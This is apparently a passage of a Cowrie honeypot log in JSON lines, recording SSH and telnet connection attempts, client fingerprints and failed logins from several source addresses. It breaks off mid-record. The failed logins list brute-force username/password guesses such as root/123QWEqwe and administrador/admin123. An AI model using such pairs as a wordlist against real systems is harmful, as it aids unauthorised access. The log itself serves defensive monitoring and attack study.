{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:33.132236Z","src_ip":"141.11.88.14","session":"9408e21377db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEqwe","message":"login attempt [root/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:34.706929Z","src_ip":"141.11.88.14","session":"9408e21377db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:35.794766Z","src_ip":"141.11.88.14","session":"9408e21377db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44564,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9cbff946d6","protocol":"ssh","message":"New connection: 37.233.85.71:44564 (159.203.135.109:22) [session: 6c9cbff946d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:37.436519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:37.443458Z","src_ip":"37.233.85.71","session":"6c9cbff946d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:37.555637Z","src_ip":"37.233.85.71","session":"6c9cbff946d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foxfox","message":"login attempt [root/foxfox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:37.898130Z","src_ip":"37.233.85.71","session":"6c9cbff946d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:39.012279Z","src_ip":"37.233.85.71","session":"6c9cbff946d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":54704,"dst_ip":"159.203.135.109","dst_port":22,"session":"23705be4dd98","protocol":"ssh","message":"New connection: 161.132.50.236:54704 (159.203.135.109:22) [session: 23705be4dd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:40.589267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:40.593286Z","src_ip":"161.132.50.236","session":"23705be4dd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:40.681179Z","src_ip":"161.132.50.236","session":"23705be4dd98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"admin123","message":"login attempt [administrador/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:41.069567Z","src_ip":"161.132.50.236","session":"23705be4dd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31454,"dst_ip":"10.17.0.5","dst_port":22,"session":"40020039a15d","protocol":"ssh","message":"New connection: 141.11.88.14:31454 (10.17.0.5:22) [session: 40020039a15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:41.686262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:41.692482Z","src_ip":"141.11.88.14","session":"40020039a15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:41.774297Z","src_ip":"141.11.88.14","session":"40020039a15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:42.069604Z","src_ip":"141.11.88.14","session":"40020039a15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:42.159106Z","src_ip":"161.132.50.236","session":"23705be4dd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:43.181919Z","src_ip":"141.11.88.14","session":"40020039a15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58234,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8cd3e6032c","protocol":"ssh","message":"New connection: 141.11.88.14:58234 (10.17.0.5:22) [session: 4c8cd3e6032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:48.627736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:48.685670Z","src_ip":"141.11.88.14","session":"4c8cd3e6032c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:48.800603Z","src_ip":"141.11.88.14","session":"4c8cd3e6032c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:49.481587Z","src_ip":"141.11.88.14","session":"4c8cd3e6032c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:50.763902Z","src_ip":"141.11.88.14","session":"4c8cd3e6032c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50546,"dst_ip":"159.203.135.109","dst_port":23,"session":"309cf2d49bd0","protocol":"telnet","message":"New connection: 128.199.8.54:50546 (159.203.135.109:23) [session: 309cf2d49bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:51.377239Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56152,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f6dd23e457d","protocol":"ssh","message":"New connection: 147.45.199.80:56152 (159.203.135.109:22) [session: 2f6dd23e457d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:53.941777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:53.948082Z","src_ip":"147.45.199.80","session":"2f6dd23e457d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:54.037554Z","src_ip":"147.45.199.80","session":"2f6dd23e457d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150984","message":"login attempt [root/150984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:54.310164Z","src_ip":"147.45.199.80","session":"2f6dd23e457d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:55.401994Z","src_ip":"147.45.199.80","session":"2f6dd23e457d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58244,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b5953bea90a","protocol":"ssh","message":"New connection: 141.11.88.14:58244 (10.17.0.5:22) [session: 7b5953bea90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:56.795977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:57.168840Z","src_ip":"141.11.88.14","session":"7b5953bea90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:57.173977Z","src_ip":"141.11.88.14","session":"7b5953bea90a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026","message":"login attempt [ubuntu/ubuntu2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:00.321389Z","src_ip":"141.11.88.14","session":"7b5953bea90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:01.410441Z","src_ip":"141.11.88.14","session":"7b5953bea90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38576,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4786453a04","protocol":"ssh","message":"New connection: 141.11.88.14:38576 (10.17.0.5:22) [session: dc4786453a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:05.993293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.103353Z","src_ip":"141.11.88.14","session":"dc4786453a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.105978Z","src_ip":"141.11.88.14","session":"dc4786453a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45942,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f57646e9d50","protocol":"ssh","message":"New connection: 103.77.242.62:45942 (159.203.135.109:22) [session: 4f57646e9d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.192444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.196342Z","src_ip":"103.77.242.62","session":"4f57646e9d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":40106,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc076490195","protocol":"ssh","message":"New connection: 14.63.196.175:40106 (10.17.0.5:22) [session: fdc076490195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.289106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.292675Z","src_ip":"14.63.196.175","session":"fdc076490195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds